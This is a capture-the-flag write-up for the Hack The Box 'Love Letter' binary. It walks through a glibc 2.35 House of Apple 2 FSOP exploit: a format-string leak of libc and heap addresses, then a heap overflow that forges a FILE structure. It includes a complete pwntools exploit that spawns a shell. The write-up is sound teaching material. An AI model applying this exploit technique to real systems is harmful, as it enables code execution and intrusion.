File Stream Oriented Programming (FSOP) exploitation: House of Apple 2 through a heap FILE overflow

Love Letter looks like a heap allocator challenge at first. It has notes, allocations, deletes, and plenty of pointers moving around. The exploit needs no tcache poisoning or use-after-free. The useful heap object is created by fopen() itself: a live glibc FILE structure placed directly after an overflowing save buffer.

The challenge comes from Hack The Box's Stack Smash repository. Its stated goal is to get a shell through a FILE-structure and vtable exploit. The exploit uses a House of Apple 2 style chain on the supplied glibc 2.35:

fwrite
  -> _IO_wfile_xsputn
  -> _IO_wfile_overflow
  -> _IO_wdoallocbuf
  -> call [fp->_wide_data->_wide_vtable + 0x68]
  -> system(" sh")

The outer vtable remains a valid libc vtable. The controlled function pointer lives one level deeper, in fake _wide_data stored on the heap.

Protections and supplied runtime

The patched binary uses its supplied loader and libc:

RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
libc:       Ubuntu GLIBC 2.35-0ubuntu3.1

Full RELRO removes the easy GOT-overwrite route. NX removes injected shellcode, and PIE plus ASLR mean that both libc and heap addresses have to be recovered at runtime. The canary never enters the picture because the overflow stays on the heap.

The two bugs

The note author is used as a format string in print_note():

printf(current->author);

The author field is small, but payloads such as %15$p fit. That is enough for address disclosure. It is not a pleasant format-string write primitive because there is almost no room to place addresses and conversion directives.

The control-flow bug is in save_notes(). The function allocates a large aggregation buffer and then opens notes.md:

mov    edi, 0x15a8
call   malloc
...
call   fopen
mov    [fp], rax

After writing the existing notes, it asks for extra text. The destination is near the end of the allocation, but the read accepts 500 bytes:

add    rax, 0x14a0       ; extra = save_buf + 0x14a0
...
mov    edx, 0x1f4        ; 500 bytes
mov    rsi, rax
mov    edi, 0
call   read

That read crosses the end of save_buf and reaches the heap FILE object returned by fopen(). The program then uses the corrupted stream immediately:

call   strlen
call   fwrite             ; corrupted fp is the fourth argument
call   free
call   fclose

The next fwrite() dereferences the overwritten object directly, so no allocator freelist manipulation is required.

Leaking libc and the heap

The solve creates a note whose author is a positional %p, prints it, and then deletes it before taking the next leak. Two values are needed.

For libc:

create(b'%15$p', b'BB')
show(1)
ru(b'Author: ')
libc_leak = int(ru(b'\n').strip(), 16)
libc.address = libc_leak - 0x29d90
delete(1)

For the heap:

create(b'%7$p', b'BB')
show(1)
ru(b'Author: ')
heap_leak = int(ru(b'\n').strip(), 16)
heap_base = heap_leak - 0x2a0
delete(1)

Measuring the overflow

With the heap leak, the relevant allocations are stable:

fp = heap_base + 0x19b0
controlled_start = fp - 0x110

The geometry behind those values is:

save_buf                  = heap_base + 0x0400
controlled_start          = save_buf + 0x14a0
                           = heap_base + 0x18a0

fp                        = heap_base + 0x19b0
fp - controlled_start     = 0x110

So input offset 0x110 is the first byte of the real FILE object:

save(b'A' * 0x110 + b'B' * 8)

After that payload, fp->_flags contains BBBBBBBB. That confirms the target, but blindly filling the entire gap with A immediately breaks malloc metadata.

Keep the FILE chunk header valid

fp points to chunk user data. Its malloc header is 16 bytes earlier:

fp - 0x10  prev_size = 0x0
fp - 0x08  size      = 0x1e1
fp + 0x00  struct _IO_FILE begins

Relative to controlled_start, those qwords are at 0x100 and 0x108:

0x100: p64(0x0),
0x108: p64(0x1e1),

The low bit in 0x1e1 is PREV_INUSE, so glibc will not consult prev_size. If the size field remains 0x4141414141414141, the later free(save_buf) aborts before the stream cleanup finishes.

Why ordinary FSOP vtable replacement fails

An _IO_FILE_plus ends with an outer jump-table pointer:

struct _IO_FILE_plus {
    struct _IO_FILE file;
    const struct _IO_jump_t *vtable;
};

Older FSOP examples point that vtable straight at attacker-controlled memory. Modern glibc checks whether the pointer falls inside its known __libc_IO_vtables section. A heap vtable fails _IO_vtable_check.

Wide-character streams provide another pointer chain:

FILE
  +0xa0  _wide_data
            +0xe0  _wide_vtable
                       +0x68  __doallocate

The outer pointer is checked. The nested _wide_vtable used by this path is not subjected to the same validation. The exploit therefore keeps:

fp->vtable = libc.sym['_IO_wfile_jumps']

and moves the fake table into the overflow buffer.

Finding the call path with angry-FSROP

angry-FSROP was run against the supplied unstripped libc. The script takes functions referenced by valid libc stdio vtables, gives them a symbolic FILE, and looks for paths where the instruction pointer becomes symbolic.

The useful _IO_wfile_overflow result ended at:

_IO_wfile_overflow
  -> _IO_wdoallocbuf
      mov rax, [rdi + 0xa0]
      ...
      mov rax, [rax + 0xe0]
      call [rax + 0x68]

With rdi == fp, those instructions mean:

rax = fp->_wide_data
rax = rax->_wide_vtable
RIP = rax[0x68]

The symbolic branch guards translate into a short set of concrete conditions:

fp->_flags & 0x8   == 0
fp->_flags & 0x800 == 0
fp->_flags & 0x2   == 0
fp->_wide_data->_IO_write_base == 0
fp->_wide_data->_IO_buf_base   == 0

The output gives a candidate indirect call and the state required to reach it. GDB confirms that the real fwrite() entry point can get there.

Use the real _IO_wfile_jumps

Shifting the outer vtable can make its __xsputn slot land directly on _IO_wfile_overflow. On this glibc, that gives fwrite() a function with the wrong semantics. The stable setup uses the real table:

outer_vtable = libc.sym['_IO_wfile_jumps']

Now glibc follows its normal wide write path:

fwrite
  -> _IO_wfile_xsputn
  -> _IO_wfile_overflow
  -> _IO_wdoallocbuf

The only forged call target is the unchecked +0x68 entry in the inner wide vtable.

Overlaying the fake structures

The 500-byte overflow has to hold the chunk header, the replacement FILE, fake _wide_data, a fake wide vtable, and a usable lock. They overlap. That is deliberate; laying them out as separate C structures would not fit as neatly.

fake_wide_data = controlled_start + 0xb0
fake_wide_vtable = controlled_start + 0x120

The layout is:

controlled_start + 0x000  nonzero filler for strlen()
controlled_start + 0x0b0  fake _IO_wide_data begins
controlled_start + 0x100  fp chunk prev_size
controlled_start + 0x108  fp chunk size
controlled_start + 0x110  overwritten FILE begins
controlled_start + 0x120  fake wide vtable begins, inside FILE
controlled_start + 0x188  fake wide vtable + 0x68 = system
controlled_start + 0x190  fake wide data + 0xe0 = fake wide vtable
controlled_start + 0x1e8  FILE outer vtable = _IO_wfile_jumps
controlled_start + 0x1f0  zeroed fake lock

Two pointers tie it together:

fp->_wide_data = controlled_start + 0xb0
fp->_wide_data->_wide_vtable = controlled_start + 0x120

and the one controlled call slot is:

*(fake_wide_vtable + 0x68) = libc.sym['system']

Making fp a command string

At the indirect call inside _IO_wdoallocbuf, rdi still contains fp:

system(fp);

The first bytes of the fake FILE must therefore double as a shell command and as _flags. The payload uses:

fp->_flags = b' sh\0'

In memory that is:

20 73 68 00 = " sh\0"

The leading space is valid shell syntax, sh is resolved through PATH, and the resulting integer 0x00687320 passes the flag checks found by angr:

0x00687320 & 0x8   == 0
0x00687320 & 0x800 == 0
0x00687320 & 0x2   == 0

That makes the indirect call:

system(" sh")

strace confirms the process chain:

execve("/bin/sh", ["sh", "-c", " sh"], ...)
execve("/usr/bin/sh", ["sh"], ...)

The boring fields that still matter

Locking and cleanup paths must also survive before and after the indirect call.

The filler cannot start with zero

After the overflow, save_notes() calls:

strlen(controlled_start);
fwrite(controlled_start, 1, length, fp);

If the payload begins with \0, the length is zero and fwrite() never takes the path we need. flat(..., filler=b'A') keeps the prefix nonzero. The first explicit zero appears later, so the write length is still enough to trigger the corrupted stream.

_lock needs valid, unlocked memory

The original heap stream stores its lock directly after the FILE object:

original _lock = fp + 0xe0

The fake stream keeps that layout:

fp->_lock = fp + 0xe0
*(uint32_t *)(fp + 0xe0) = 0

A null _lock crashes on a dereference. An A-filled lock looks held and hangs inside __lll_lock_wait_private. A zero word means unlocked.

Backup pointers must not contain A

fclose() eventually cleans the stream. Fields such as _IO_backup_base, _IO_save_base, _markers, _codecvt, and their wide equivalents cannot be left as 0x4141414141414141; glibc may dereference or free them. The payload zeros every cleanup pointer it can reach.

_mode = -1 avoids wide cleanup

The outer vtable selects the wide write functions. After the shell exits, however, fclose() still inspects _mode. Setting it to -1 avoids a wide codecvt cleanup path that otherwise dereferences the forged state.

Complete exploit

from pwn import *

exe = './love_letter_patched'
elf = context.binary = ELF(exe, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.log_level = 'info'

io = process(exe)

sla = lambda delim, data: io.sendlineafter(delim, data)
ru = lambda delim: io.recvuntil(delim)

def create(author, note):
    sla(b'Choice: ', b'1')
    sla(b'> ', author)
    sla(b'> ', note)
    sla(b'> ', b'n')

def show(idx):
    sla(b'Choice: ', b'3')
    sla(b'> ', str(idx).encode())

def delete(idx):
    sla(b'Choice: ', b'4')
    sla(b'> ', str(idx).encode())

def leak(fmt):
    create(fmt, b'BB')
    show(1)
    ru(b'Author: ')
    value = int(ru(b'\n').strip(), 16)
    delete(1)
    return value

libc.address = leak(b'%15$p') - 0x29d90
heap_base = leak(b'%7$p') - 0x2a0

log.info(f'libc base: {libc.address:#x}')
log.info(f'heap base: {heap_base:#x}')

fp = heap_base + 0x19b0
controlled_start = fp - 0x110
fake_wide_data = controlled_start + 0xb0
fake_wide_vtable = controlled_start + 0x120

payload = flat(
    {
        # Fake _IO_wide_data.
        0xb0 + 0x18: p64(0),
        0xb0 + 0x30: p64(0),
        0xb0 + 0x40: p64(0),
        0xb0 + 0x48: p64(0),
        0xb0 + 0x50: p64(0),
        0xb0 + 0xe0: p64(fake_wide_vtable),

        # _IO_wdoallocbuf calls [fake_wide_vtable + 0x68].
        0x120 + 0x68: p64(libc.sym['system']),

        # Preserve the malloc header directly before fp.
        0x100: p64(0),
        0x108: p64(0x1e1),

        # Replacement FILE at controlled_start + 0x110.
        0x110 + 0x00: b' sh\0\0\0\0\0',
        0x110 + 0x08: p64(0),
        0x110 + 0x10: p64(0),
        0x110 + 0x18: p64(0),
        0x110 + 0x20: p64(0),
        0x110 + 0x28: p64(0),
        0x110 + 0x30: p64(0),
        0x110 + 0x38: p64(0),
        0x110 + 0x40: p64(0),
        0x110 + 0x48: p64(0),
        0x110 + 0x50: p64(0),
        0x110 + 0x58: p64(0),
        0x110 + 0x60: p64(0),
        0x110 + 0x68: p64(0),
        0x110 + 0x70: p64(3),
        0x110 + 0x88: p64(fp + 0xe0),
        0x110 + 0x98: p64(0),
        0x110 + 0xa0: p64(fake_wide_data),
        0x110 + 0xc0: p64(0xffffffff),
        0x110 + 0xd8: p64(libc.sym['_IO_wfile_jumps']),

        # read() accepts exactly 0x1f4 bytes, ending four bytes into the lock.
        0x110 + 0xe0: p32(0),
    },
    filler=b'A',
)

assert len(payload) == 0x1f4

sla(b'Choice: ', b'5')
io.sendafter(b'> ', payload)
io.interactive()

The length assertion is worth keeping. The vulnerable read() accepts exactly 0x1f4 bytes. If a later edit extends the payload, the tail will remain in stdin instead of reaching the fake structure.

Common failure modes

free(): invalid next size

The overflow destroyed the fp chunk size. Restore prev_size=0 and size=0x1e1.

Crash dereferencing address 0x8

fp->_lock was null. Point it at the unlocked word at fp+0xe0.

Hang in __lll_lock_wait_private

The fake lock contained A bytes and appeared locked. Zero the lock word.

No call into wide stdio

strlen(controlled_start) returned zero. Use nonzero filler so fwrite() gets a nonzero length.

free(0x4141414141414141)

Backup or codecvt pointers still contained filler. Zero every cleanup pointer that glibc may free or dereference.

Crash at call [0+0x68]

The fake _wide_data->_wide_vtable pointer was overwritten by an overlapping field. Move fake _wide_data to controlled_start+0xb0.

The most useful conditional breakpoints were:

set $target_fp = <heap_base + 0x19b0>
b *_IO_wfile_xsputn if $rdi == $target_fp
b *_IO_wfile_overflow if $rdi == $target_fp
b *_IO_wdoallocbuf if $rdi == $target_fp
b *_IO_vtable_check

At the final call, check these values:

rdi                                  = fp, starting with " sh\0"
fp->_wide_data                       = controlled_start + 0xb0
fp->_wide_data->_wide_vtable         = controlled_start + 0x120
[fp->_wide_data->_wide_vtable+0x68]  = system
fp->vtable                           = _IO_wfile_jumps

Final memory map

The exploit is easier to remember as pointer chasing than as a 500-byte blob:

format string
  -> libc base
  -> heap base

heap overflow
  -> preserve fp chunk header
  -> replace live FILE

fwrite(buf, len, fp)
  -> valid outer _IO_wfile_jumps
  -> _IO_wfile_xsputn
  -> _IO_wfile_overflow
  -> _IO_wdoallocbuf
  -> fp->_wide_data
  -> fake _wide_vtable
  -> [fake _wide_vtable + 0x68] = system
  -> system(fp)
  -> system(" sh")

The trigger determines what corrupted FILE fields provide. Forged stdout write pointers can leak memory, while forged stdin refill pointers can write to memory. Love Letter overwrites vtable-related fields of a heap stream so fwrite() makes an indirect call.

References: